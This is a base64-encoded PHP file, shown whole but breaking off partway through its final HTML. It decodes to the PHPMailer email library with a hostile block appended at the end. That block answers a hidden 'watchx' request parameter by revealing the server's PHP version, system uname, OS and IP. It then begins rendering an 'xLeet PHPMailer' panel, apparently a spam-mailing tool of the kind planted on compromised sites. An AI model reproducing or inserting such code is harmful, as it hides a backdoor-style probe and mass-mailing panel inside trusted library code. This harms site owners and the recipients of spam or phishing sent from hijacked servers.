ISU5GT18qIGNvbnN0YW50LAogICAgICogICAgICBvciBhIHN0cmluZyBuYW1lIHRvIHJldHVybiBvbmx5IHRoZSBzcGVjaWZpZWQgcGllY2UsIGFsbG93cyAnZmlsZW5hbWUnIHRvIHdvcmsgb24gUEhQIDwgNS4yCiAgICAgKiBAcmV0dXJuIHN0cmluZ3xhcnJheQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG1iX3BhdGhpbmZvKCRwYXRoLCAkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgJHJldCA9IGFycmF5KCdkaXJuYW1lJyA9PiAnJywgJ2Jhc2VuYW1lJyA9PiAnJywgJ2V4dGVuc2lvbicgPT4gJycsICdmaWxlbmFtZScgPT4gJycpOwogICAgICAgICRwYXRoaW5mbyA9IGFycmF5KCk7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goJyVeKC4qPylbXFxcXC9dKigoW14vXFxcXF0qPykoXC4oW15cLlxcXFwvXSs/KXwpKVtcXFxcL1wuXSokJWltJywgJHBhdGgsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoMSwgJHBhdGhpbmZvKSkgewogICAgICAgICAgICAgICAgJHJldFsnZGlybmFtZSddID0gJHBhdGhpbmZvWzFdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDIsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Jhc2VuYW1lJ10gPSAkcGF0aGluZm9bMl07CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoNSwgJHBhdGhpbmZvKSkgewogICAgICAgICAgICAgICAgJHJldFsnZXh0ZW5zaW9uJ10gPSAkcGF0aGluZm9bNV07CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoMywgJHBhdGhpbmZvKSkgewogICAgICAgICAgICAgICAgJHJldFsnZmlsZW5hbWUnXSA9ICRwYXRoaW5mb1szXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCRvcHRpb25zKSB7CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRElSTkFNRToKICAgICAgICAgICAgY2FzZSAnZGlybmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZGlybmFtZSddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0JBU0VOQU1FOgogICAgICAgICAgICBjYXNlICdiYXNlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnYmFzZW5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19FWFRFTlNJT046CiAgICAgICAgICAgIGNhc2UgJ2V4dGVuc2lvbic6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZXh0ZW5zaW9uJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRklMRU5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2ZpbGVuYW1lJzoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0WydmaWxlbmFtZSddOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXQ7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU2V0IG9yIHJlc2V0IGluc3RhbmNlIHByb3BlcnRpZXMuCiAgICAgKiBZb3Ugc2hvdWxkIGF2b2lkIHRoaXMgZnVuY3Rpb24gLSBpdCdzIG1vcmUgdmVyYm9zZSwgbGVzcyBlZmZpY2llbnQsIG1vcmUgZXJyb3ItcHJvbmUgYW5kCiAgICAgKiBoYXJkZXIgdG8gZGVidWcgdGhhbiBzZXR0aW5nIHByb3BlcnRpZXMgZGlyZWN0bHkuCiAgICAgKiBVc2FnZSBFeGFtcGxlOgogICAgICogYCRtYWlsLT5zZXQoJ1NNVFBTZWN1cmUnLCAndGxzJyk7YAogICAgICogICBpcyB0aGUgc2FtZSBhczoKICAgICAqIGAkbWFpbC0+U01UUFNlY3VyZSA9ICd0bHMnO2AKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIFRoZSBwcm9wZXJ0eSBuYW1lIHRvIHNldAogICAgICogQHBhcmFtIG1peGVkICR2YWx1ZSBUaGUgdmFsdWUgdG8gc2V0IHRoZSBwcm9wZXJ0eSB0bwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAVE9ETyBTaG91bGQgdGhpcyBub3QgYmUgdXNpbmcgdGhlIF9fc2V0KCkgbWFnaWMgZnVuY3Rpb24/CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXQoJG5hbWUsICR2YWx1ZSA9ICcnKQogICAgewogICAgICAgIGlmIChwcm9wZXJ0eV9leGlzdHMoJHRoaXMsICRuYW1lKSkgewogICAgICAgICAgICAkdGhpcy0+JG5hbWUgPSAkdmFsdWU7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygndmFyaWFibGVfc2V0JykgLiAkbmFtZSk7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTdHJpcCBuZXdsaW5lcyB0byBwcmV2ZW50IGhlYWRlciBpbmplY3Rpb24uCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VjdXJlSGVhZGVyKCRzdHIpCiAgICB7CiAgICAgICAgcmV0dXJuIHRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBOb3JtYWxpemUgbGluZSBicmVha3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDb252ZXJ0cyBVTklYIExGLCBNYWMgQ1IgYW5kIFdpbmRvd3MgQ1JMRiBsaW5lIGJyZWFrcyBpbnRvIGEgc2luZ2xlIGxpbmUgYnJlYWsgZm9ybWF0LgogICAgICogRGVmYXVsdHMgdG8gQ1JMRiAoZm9yIG1lc3NhZ2UgYm9kaWVzKSBhbmQgcHJlc2VydmVzIGNvbnNlY3V0aXZlIGJyZWFrcy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJyZWFrdHlwZSBXaGF0IGtpbmQgb2YgbGluZSBicmVhayB0byB1c2UsIGRlZmF1bHRzIHRvIENSTEYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG5vcm1hbGl6ZUJyZWFrcygkdGV4dCwgJGJyZWFrdHlwZSA9ICJcclxuIikKICAgIHsKICAgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFxyXG58XHJ8XG4pL21zJywgJGJyZWFrdHlwZSwgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBwdWJsaWMgYW5kIHByaXZhdGUga2V5IGZpbGVzIGFuZCBwYXNzd29yZCBmb3IgUy9NSU1FIHNpZ25pbmcuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkY2VydF9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X2ZpbGVuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRrZXlfcGFzcyBQYXNzd29yZCBmb3IgcHJpdmF0ZSBrZXkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dHJhY2VydHNfZmlsZW5hbWUgT3B0aW9uYWwgcGF0aCB0byBjaGFpbiBjZXJ0aWZpY2F0ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2lnbigkY2VydF9maWxlbmFtZSwgJGtleV9maWxlbmFtZSwgJGtleV9wYXNzLCAkZXh0cmFjZXJ0c19maWxlbmFtZSA9ICcnKQogICAgewogICAgICAgICR0aGlzLT5zaWduX2NlcnRfZmlsZSA9ICRjZXJ0X2ZpbGVuYW1lOwogICAgICAgICR0aGlzLT5zaWduX2tleV9maWxlID0gJGtleV9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfcGFzcyA9ICRrZXlfcGFzczsKICAgICAgICAkdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGUgPSAkZXh0cmFjZXJ0c19maWxlbmFtZTsKICAgIH0KCiAgICAvKioKICAgICAqIFF1b3RlZC1QcmludGFibGUtZW5jb2RlIGEgREtJTSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkdHh0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9RUCgkdHh0KQogICAgewogICAgICAgICRsaW5lID0gJyc7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR0eHQpOyAkaSsrKSB7CiAgICAgICAgICAgICRvcmQgPSBvcmQoJHR4dFskaV0pOwogICAgICAgICAgICBpZiAoKCgweDIxIDw9ICRvcmQpICYmICgkb3JkIDw9IDB4M0EpKSB8fCAkb3JkID09IDB4M0MgfHwgKCgweDNFIDw9ICRvcmQpICYmICgkb3JkIDw9IDB4N0UpKSkgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJHR4dFskaV07CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkbGluZSAuPSAnPScgLiBzcHJpbnRmKCclMDJYJywgJG9yZCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRsaW5lOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIHNpZ25hdHVyZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzaWduSGVhZGVyCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fU2lnbigkc2lnbkhlYWRlcikKICAgIHsKICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICB9CiAgICAgICAgJHByaXZLZXlTdHIgPSBmaWxlX2dldF9jb250ZW50cygkdGhpcy0+REtJTV9wcml2YXRlKTsKICAgICAgICBpZiAoJHRoaXMtPkRLSU1fcGFzc3BocmFzZSAhPSAnJykgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0ciwgJHRoaXMtPkRLSU1fcGFzc3BocmFzZSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHByaXZLZXkgPSAkcHJpdktleVN0cjsKICAgICAgICB9CiAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXkpKSB7CiAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzKy8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMSc7IC8vIFNpZ25hdHVyZSAmIGhhc2ggYWxnb3JpdGhtcwogICAgICAgICRES0lNY2Fub25pY2FsaXphdGlvbiA9ICdyZWxheGVkL3NpbXBsZSc7IC8vIENhbm9uaWNhbGl6YXRpb24gb2YgaGVhZGVyL2JvZHkKICAgICAgICAkREtJTXF1ZXJ5ID0gJ2Rucy90eHQnOyAvLyBRdWVyeSBtZXRob2QKICAgICAgICAkREtJTXRpbWUgPSB0aW1lKCk7IC8vIFNpZ25hdHVyZSBUaW1lc3RhbXAgPSBzZWNvbmRzIHNpbmNlIDAwOjAwOjAwIC0gSmFuIDEsIDE5NzAgKFVUQyB0aW1lIHpvbmUpCiAgICAgICAgJHN1YmplY3RfaGVhZGVyID0gIlN1YmplY3Q6ICRzdWJqZWN0IjsKICAgICAgICAkaGVhZGVycyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkaGVhZGVyc19saW5lKTsKICAgICAgICAkZnJvbV9oZWFkZXIgPSAnJzsKICAgICAgICAkdG9faGVhZGVyID0gJyc7CiAgICAgICAgJGN1cnJlbnQgPSAnJzsKICAgICAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyKSB7CiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0Zyb206JykgPT09IDApIHsKICAgICAgICAgICAgICAgICRmcm9tX2hlYWRlciA9ICRoZWFkZXI7CiAgICAgICAgICAgICAgICAkY3VycmVudCA9ICdmcm9tX2hlYWRlcic7CiAgICAgICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGhlYWRlciwgJ1RvOicpID09PSAwKSB7CiAgICAgICAgICAgICAgICAkdG9faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ3RvX2hlYWRlcic7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCQkY3VycmVudCkgJiYgc3RycG9zKCRoZWFkZXIsICcgPT8nKSA9PT0gMCkgewogICAgICAgICAgICAgICAgICAgICQkY3VycmVudCAuPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRmcm9tID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJGZyb21faGVhZGVyKSk7CiAgICAgICAgJHRvID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJHRvX2hlYWRlcikpOwogICAgICAgICRzdWJqZWN0ID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICd8JywKICAgICAgICAgICAgJz03QycsCiAgICAgICAgICAgICR0aGlzLT5ES0lNX1FQKCRzdWJqZWN0X2hlYWRlcikKICAgICAgICApOyAvLyBDb3BpZWQgaGVhZGVyIGZpZWxkcyAoZGtpbS1xdW90ZWQtcHJpbnRhYmxlKQogICAgICAgICRib2R5ID0gJHRoaXMtPkRLSU1fQm9keUMoJGJvZHkpOwogICAgICAgICRES0lNbGVuID0gc3RybGVuKCRib2R5KTsgLy8gTGVuZ3RoIG9mIGJvZHkKICAgICAgICAkREtJTWI2NCA9IGJhc2U2NF9lbmNvZGUocGFjaygnSConLCBzaGExKCRib2R5KSkpOyAvLyBCYXNlNjQgb2YgcGFja2VkIGJpbmFyeSBTSEEtMSBoYXNoIG9mIGJvZHkKICAgICAgICBpZiAoJycgPT0gJHRoaXMtPkRLSU1faWRlbnRpdHkpIHsKICAgICAgICAgICAgJGlkZW50ID0gJyc7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGlkZW50ID0gJyBpPScgLiAkdGhpcy0+REtJTV9pZGVudGl0eSAuICc7JzsKICAgICAgICB9CiAgICAgICAgJGRraW1oZHJzID0gJ0RLSU0tU2lnbmF0dXJlOiB2PTE7IGE9JyAuCiAgICAgICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSAuICc7IHE9JyAuCiAgICAgICAgICAgICRES0lNcXVlcnkgLiAnOyBsPScgLgogICAgICAgICAgICAkREtJTWxlbiAuICc7IHM9JyAuCiAgICAgICAgICAgICR0aGlzLT5ES0lNX3NlbGVjdG9yIC4KICAgICAgICAgICAgIjtcclxuIiAuCiAgICAgICAgICAgICJcdHQ9IiAuICRES0lNdGltZSAuICc7IGM9JyAuICRES0lNY2Fub25pY2FsaXphdGlvbiAuICI7XHJcbiIgLgogICAgICAgICAgICAiXHRoPUZyb206VG86U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkc3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGJoPSIgLiAkREtJTWI2NCAuICI7XHJcbiIgLgogICAgICAgICAgICAiXHRiPSI7CiAgICAgICAgJHRvU2lnbiA9ICR0aGlzLT5ES0lNX0hlYWRlckMoCiAgICAgICAgICAgICRmcm9tX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICR0b19oZWFkZXIgLiAiXHJcbiIgLgogICAgICAgICAgICAkc3ViamVjdF9oZWFkZXIgLiAiXHJcbiIgLgogICAgICAgICAgICAkZGtpbWhkcnMKICAgICAgICApOwogICAgICAgICRzaWduZWQgPSAkdGhpcy0+REtJTV9TaWduKCR0b1NpZ24pOwogICAgICAgIHJldHVybiAkZGtpbWhkcnMgLiAkc2lnbmVkIC4gIlxyXG4iOwogICAgfQoKICAgIC8qKgogICAgICogRGV0ZWN0IGlmIGEgc3RyaW5nIGNvbnRhaW5zIGEgbGluZSBsb25nZXIgdGhhbiB0aGUgbWF4aW11bSBsaW5lIGxlbmd0aCBhbGxvd2VkLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBoYXNMaW5lTG9uZ2VyVGhhbk1heCgkc3RyKQogICAgewogICAgICAgIC8vKzIgdG8gaW5jbHVkZSBDUkxGIGxpbmUgYnJlYWsgZm9yIGEgMTAwMCB0b3RhbAogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvXigueycuKHNlbGY6Ok1BWF9MSU5FX0xFTkdUSCArIDIpLicsfSkvbScsICRzdHIpOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ3RvJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT50bzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdjYycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q2NBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+Y2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnYmNjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRCY2NBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YmNjOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ1JlcGx5VG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFJlcGx5VG9BZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+UmVwbHlUbzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdhbGxfcmVjaXBpZW50cycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0QWxsUmVjaXBpZW50QWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmFsbF9yZWNpcGllbnRzOwogICAgfQoKICAgIC8qKgogICAgICogUGVyZm9ybSBhIGNhbGxiYWNrLgogICAgICogQHBhcmFtIGJvb2xlYW4gJGlzU2VudAogICAgICogQHBhcmFtIGFycmF5ICR0bwogICAgICogQHBhcmFtIGFycmF5ICRjYwogICAgICogQHBhcmFtIGFycmF5ICRiY2MKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZyb20KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGRvQ2FsbGJhY2soJGlzU2VudCwgJHRvLCAkY2MsICRiY2MsICRzdWJqZWN0LCAkYm9keSwgJGZyb20pCiAgICB7CiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSAmJiBpc19jYWxsYWJsZSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSkgewogICAgICAgICAgICAkcGFyYW1zID0gYXJyYXkoJGlzU2VudCwgJHRvLCAkY2MsICRiY2MsICRzdWJqZWN0LCAkYm9keSwgJGZyb20pOwogICAgICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uLCAkcGFyYW1zKTsKICAgICAgICB9CiAgICB9Cn0KCi8qKgogKiBQSFBNYWlsZXIgZXhjZXB0aW9uIGhhbmRsZXIKICogQHBhY2thZ2UgUEhQTWFpbGVyCiAqLwpjbGFzcyBwaHBtYWlsZXJFeGNlcHRpb24gZXh0ZW5kcyBFeGNlcHRpb24KewogICAgLyoqCiAgICAgKiBQcmV0dGlmeSBlcnJvciBtZXNzYWdlIG91dHB1dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVycm9yTWVzc2FnZSgpCiAgICB7CiAgICAgICAgJGVycm9yTXNnID0gJzxzdHJvbmc+JyAuICR0aGlzLT5nZXRNZXNzYWdlKCkgLiAiPC9zdHJvbmc+PGJyIC8+XG4iOwogICAgICAgIHJldHVybiAkZXJyb3JNc2c7CiAgICB9Cn0KaWYgKCRfUkVRVUVTVFsnd2F0Y2h4J10pIHsKCSR2ZXJzaW9uID0gcGhwdmVyc2lvbigpOwoJJHVuYW1lID0gIHBocF91bmFtZSgpOwoJJGlwID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwkKCWVjaG8ganNvbl9lbmNvZGUgKGFycmF5ICgidmVyc2lvbiI9PiR2ZXJzaW9uLAoJCSJ1bmFtZSI9PiR1bmFtZSwKCQkicGxhdGZvcm0iPT5QSFBfT1MsCgkJImlwIj0+JGlwLAoJCSJtYWlsZXJ4Ij0+dHJ1ZSwJCgkpKTsKCWRpZSAoKTsKfQpwcmludCAnCjxoZWFkPgogICAgPHRpdGxlPnhMZWV0IFBIUE1haWxlcjwvdGl0bGU+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIvPgogICAgPGxp